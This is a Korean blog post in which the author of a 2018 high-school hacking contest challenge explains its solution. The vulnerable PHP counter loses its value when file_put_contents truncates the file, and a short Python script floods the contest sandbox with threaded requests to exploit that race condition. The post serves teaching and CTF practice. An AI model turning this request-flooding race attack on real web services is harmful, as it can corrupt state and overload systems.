2018 선린 고등해커 / count 출제자 풀이
올해 처음으로 시도한 학생이 주도·운영하는 교내 해킹방어대회 고등해커.
같이 해킹을 공부하는 교내 친구들과 함께 고등해커를 운영하게 되었다.
나는 사이트 제작과 웹 문제 출제를 담당했는데, 그 중 count라는 문제에 대해서 풀이를 작성해본다.
count 출제자 풀이
<?php
error_reporting(0);
require_once 'flag.php';
# made by munsiwoo
if(isset($_GET['source'])) {
show_source(__FILE__);
exit;
}
$cnt_file = 'cnt-[rand]';
if(!file_exists($cnt_file)) {
file_put_contents($cnt_file, '10');
}
$cnt = (int)file_get_contents($cnt_file); // read count
if($cnt == 30) {
$cnt = 10;
}
$cnt = $cnt + 1;
file_put_contents($cnt_file, $cnt); // write count
if($cnt == 1) {
die($flag);
}
echo $cnt;
?>
<br><a href="?source">source</a>
우선 레이스 컨디션(race condition)공격을 모르는 상태에서 코드를 읽어보면, flag를 얻는게 불가능하다고 생각할 수 있다.
레이스 컨디션이란 한정된 리소스를 둘 이상의 프로세스가 동시에 이용하려고 경쟁하는 현상을 의미하며
이러한 현상을 이용해 공격하는 것을 레이스 컨디션 공격이라고 한다.
count 문제는 레이스 컨디션 공격으로 $cnt
변수를 1로 만들어 flag를 얻는 문제다.
풀이를 설명하기 앞서 PHP의 file_get_contents
함수와 file_put_contents
함수의 내부 동작 순서를 알아보자.
PHP file_get_contents, file_put_contents function
PHP의 file_get_contents
, file_put_contents
함수는 파일 입출력 함수로
fopen
, fread
, fwrite
, fclose
등의 기존 파일 입출력 함수를 쓰기 편하게 하나로 합쳐놓은 함수다.
echo file_get_contents('foo.txt');
이렇게 file_get_contents
로 foo.txt
의 내용을 읽어올 수 있으며
file_put_contents('foo.txt', 'bar');
이런식으로 foo.txt
에 bar
이라는 문자를 쓸 수 있다.
file_put_contents
PHP 공식 문서에 나와있는 file_put_contents
인자를 살펴보자.
int file_put_contents ( string $filename , mixed $data [, int $flags = 0 [, resource $context ]] )
file_put_contents
함수에서 $flags
인자는 파일의 입출력 모드를 설정할 때 사용되는데, 보통 FILE_APPEND
, FILE_APPEND | LOCK_EX
와 같은 옵션을 준다. 여기서 따로 옵션을 주지 않으면 기본 0
으로 들어가는 것을 알 수 있다. /php-src/ext/standard/file.c#L592를 보면 $flags
가 0
일때의 파일 입출력 모드는 wb
모드로 들어간다.
따라서 옵션을 주지않고 일반적인 형식인
file_put_contents('foo', 'bar');
형태로 사용한다면 foo
파일에 있던 기존 내용을 모두 지우고 “bar”라는 내용으로 작성된다는 얘기다.
해당 문제에서는 기존 파일 내용을 모두 비운다는 점을 이용해서 $cnt
를 0으로 만들 수 있다.
24줄의 file_put_contents
을 계속 실행하면서 cnt 파일의 내용을 계속 비워주면서 다른 쓰레드에서는
17줄의 file_get_contents
로 해당 파일을 읽는다면 0으로 만들 수 있다.
그리고 그 아래에서 $cnt = $cnt + 1
을 하고 있기 때문에 결과적으로 $cnt
에는 1이 들어간다.
Exploit
import requests
import threading
# made by munsiwoo
def request(sandbox):
global response
uri = 'http://game.withphp.com/ouya/sandbox/' + sandbox
response = requests.get(uri).text
if __name__ == '__main__':
sandbox = '80e30ab2318c6a531cdde54c009a54ca/'
response = ''
while True:
threading.Thread(target=request, args=(sandbox,)).start()
if 'Sunrin{' in response: # flag format is Sunrin{...}
print(response, flush=True)
break
print('End', flush=True)